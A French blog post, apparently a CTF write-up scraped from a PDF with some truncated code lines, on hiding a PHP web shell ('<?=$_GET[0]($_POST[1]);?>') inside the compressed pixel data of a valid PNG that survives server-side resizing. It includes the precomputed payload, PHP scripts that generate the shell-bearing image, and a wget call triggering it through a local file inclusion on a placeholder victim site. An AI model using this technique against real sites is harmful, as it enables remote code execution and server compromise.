Remerciez-le!

Remerciez @Admin pour avoir partagé cet document gratuitement, de la manière la plus simple, en partageant sur les réseaux sociaux.

Votre commentaire De koi ça coz #FAIL (1) Admin-sys (1) Android (2) ARM (3) ctf

Votre commentaire De koi ça coz #FAIL (1) Admin-sys (1) Android (2) ARM (3) ctf (7) DIY (1) Embedded (7) ESP32 (2) ESP8266 (2) Grehack (2) Hardware (7) Linux (2) Peax (1) Raspberry Pi (2) Retro (2) Retro-gaming (1) Retro-hardware (1) Security (3) Soundchip (1) STM32 (3) Uncategorized (2) Vie privée (1) Wiko (1) write-up (6) S'abonner par e-mail au blog Entrez votre adresse mail pour suivre ce blog et être notièé(e) par email des nouvelles publications. Rejoignez 194 autres abonnés Entrez votre adresse e-m Suivre CTF WRITE-UP CODE CTF IDAT LFI PHP PNG SECURITÉ WRITE-UP WRITEUP Seb, c’est bien ! Reprendre le contrôle de son téléphone Android 23 FÉVRIER 2014 PHIL242 Ou, comment mettre du code PHP dans un Õchier PNG valide. Lors d’un CTF et de l’exploitation d’une faille de type LFI, nous n’avions qu’un répertoire où nous pouvions écrire des images PNG. Et bien-sûr à la réception les images étaient redimensionnées en 55×55 et épurées de tous les champs de commentaires ou d’informations. Impossible donc de mettre simplement du PHP dans les commentaires de la PNG, qui sont stockés bruts dans des chaines de caractères sans encodage particulier. C’est là que Google intervient et que je tombe sur ce blog maintenu par un expert en sécurité : https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat- chunks/ L’article est fort intéressent car il donne tous les éléments pour arriver à diriger le processus d’encodage de l’image au format PNG aèn de générer un èchier parfaitement valide tout en faisant apparaitre du PHP dans la zone compressée des pixels ! Peut-être étais-je le seul ignare sur terre à ne pas savoir que cette technique existait, mais la découverte de ce genre de hack me rappelle au combien on se couche parfois moins con le soir suivant. Il est fortement conseillé de lire l’article ci-dessus pour mettre en pratique ce qui est expliqué dans ce billet. L’euphorie du moment dissipée il faut maintenant mettre en pratique tout ça. Bien sûre dans ce genre d’exploitation tout est dans le détail. Par malchance, les PNG fournies étaient calculée pour du redimensionnement 32×32 et ne fonctionnaient pas avec un redimensionnement vers 55×55. Même en reprenant bêtement le payload et en le mettant dans une image 55×55, les données sources compressées par la ZLIB étant plus nombreuses, le résultat de la ZLIB ne donnait pas le shell-code-like PHP attendu. Il n’y a donc pas le choix, il faut comprendre les choses dans le détail et faire en sorte que la ZLIB soit alimenté par le bon contenu et génère le PHP voulu. En partant d’une image décompressée dans un buffer (dite RAW) trois grandes étapes dans le processus de redimensionnement et de construction de l’image cible interviennent. Elles sont toutes décrites dans le blog cité plus haut : La sélection du sous-ensemble de pixels qui resteront (échantillonnage) Le passage des èltres qui réorganisent les pixels pour une compression plus efècace La compression en stockage de l’image èltrée dans son format PNG déènitif Vous l’aurez deviné, aèn d’obtenir du code PHP intelligible dans la zone IDAT de l’image PNG, il va falloir prédire les valeurs des pixels en amont. Le code PHP que l’on va essayer d’obtenir est «<?=$_GET[0]($_POST[1]);?>». Phil (l’Australien pas moi !) a déjà fait le fastidieux calcul inverse du payload à fournir à la ZLIB pour l’obtenir, c’est la chaine «03A39F67546F2C24152B116712546F112E29152B2167226B6F5F5310 ». On ne va pas réinventer la roue, ça sera parfait pour nous. Pour tester rapidement la compression / décompression de données, je vous conseille l’excellent zpipe qui s’utilise comme suit : C’est là que les choses difèciles commencent. L’exemple fonctionnait bien en 32×32, mais plus en 55×55. La raison est que le payload «03A39F……5F5310» n’est passé à la ZLIB seul, il est accompagné d’une ribambelle de pixels noirs juste derrières. Sans rien toucher des recettes données sur le blog cité, on peut aller jusqu’à 48×48. Au-delà le payload devient inefècace car les 00 ajoutés le dénature sufèsamment pour que la structure cible prédite ne soit plus la bonne. Pour pallier à ce problème, je n’ai pas trouvé mieux que d’injecter arbitrairement des datas de façon aléatoire juste après le payload. En rouge dans le dump ci- dessous. L’idée sous-jacente étant que les algos de compression de la ZLIB n’allaient rien trouver de commun et continueraient la compression sans arriver à mutualiser avec la première structure déjà créée. Cette technique fonctionne visiblement très bien avec des petites tailles d’images, qui sont justement la cible. Nouveau payload à fournir à la ZLIB pour obtenir le PHP attendu : Une fois le payload original accolé à ces datas random il faut calculer leurs images avec le èltre inverse pour amener les algorithmes PNG à sélectionner le èltre numéro 1 ou 3, qui sont les cibles pour le payload ZLIB. Le générateur ci- dessous effectue ces calculs : Les données afèchées par le bout de code PHP ci-dessus sont donc les pixels réels de l’image RAW qui vont générer le payload attendu une fois les èltres 1 & 3 du format PNG exécuté. On va donc les utiliser pour encoder la PNG : Voilà à quoi ressemble la PNG ci-dessus : (cliquer sur l’image ci-dessus pour l’observer) Le plus intéressent étant bien-sure ceci, dans la PNG générée le PHP attendu est bien présent, comme en atteste l’afèchage hexa du èchier PNG généré : Maintenant que la génération du PHP est correct dans une 55×55, il ne reste plus qu’à fabriquer une image plus grande. Elle passera inaperçue lors de son envoie sur le site (hormis la tronche plus que suspecte !) car la zone IDAT compressée d’une PNG plus grande ne contiendra pas le code PHP. A titre d’exemple, voilà la génération d’une image 110×110, qui passe sans problème la fonction de redimensionnement fait par la lib GD depuis la fonction PHP imagecopyresampled() et qui donnera une PNG 55×55 le shell-code-like PHP attendu : Ce qui donne l’image suivante : Son dump hexa : On constate que le PHP a disparu de la zone IDAT. Mission accomplie, la PNG est prête ! Maintenant que vous savez créer une telle image valide aux yeux du moteur PHP, je vais quand même donner le moyen de l’appeler depuis un site ayant une faille de type LFI. L’exemple choisi permet d’obtenir la liste des èchiers dans le répertoire courant : Conclusion : Gérer un site web n’est pas évident et est encore plus problématique si l’on accepte des données en provenance des utilisateurs. La technique ci-dessus est inoffensive … tant que vous n’avez pas de faille de type LFI, mais à la première venue vous risquez les ennuis ! Bon courage mes chers webmaster. Share this: Twitter Facebook Publié par phil242 Voir tous les articles par phil242 La PNG qui se prenait pour du PHP 1 2 cat data.raw | zpipe > data.pak cat data.pak | zpipe -d > data.raw 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <? // filter inv avec le payload original 32x32 + 13 pixel $p = array(0xa3, 0x9f, 0x67, 0x54, 0x6f, 0x2c, 0x24, 0 $p2 = array(0xa3, 0x9f, 0x67, 0x54, 0x6f, 0x2c, 0x24, 0 $s = sizeof($p); $s2 = sizeof($p2); // Reverse Filter 1 for ($i = 0; $i < $s; $i++) $p[$i+3] = ($p[$i+3] + $p[$i]) % 256; // Reverse Filter 3 for ($i = 0; $i < $s2; $i++) $p2[$i+3] = ($p2[$i+3] + floor($p2[$i] / 2)) % 256; for ($i = 0; $i < $s; $i++) printf("0x%02X, ", $p[$i]); printf("\n"); for ($i = 0; $i < $s2; $i++) printf("0x%02X, ", $p2[$i] printf("\n"); ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <? header('Content-Type: image/png'); $p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x $img = imagecreatetruecolor(55, 55); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img); ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <? header('Content-Type: image/png'); $p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x $img = imagecreatetruecolor(110, 110); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3)*2, 0, $color); imagesetpixel($img, round($y / 3)*2+1, 0, $color); imagesetpixel($img, round($y / 3)*2, 1, $color); imagesetpixel($img, round($y / 3)*2+1, 1, $color); } imagepng($img); ?> 1 wget "http://www.victime.fr/page-pourave.php?param=../up   J'aime Soyez le premier à aimer cet article. Précédent  Suivant  Entrez votre commentaire... Entrez votre commentaire... Accueil A propos uploads/S4/ phil242-wordpress-com-2014-02-23-la-png-qui-se-prenait-pour-du-php-pdf.pdf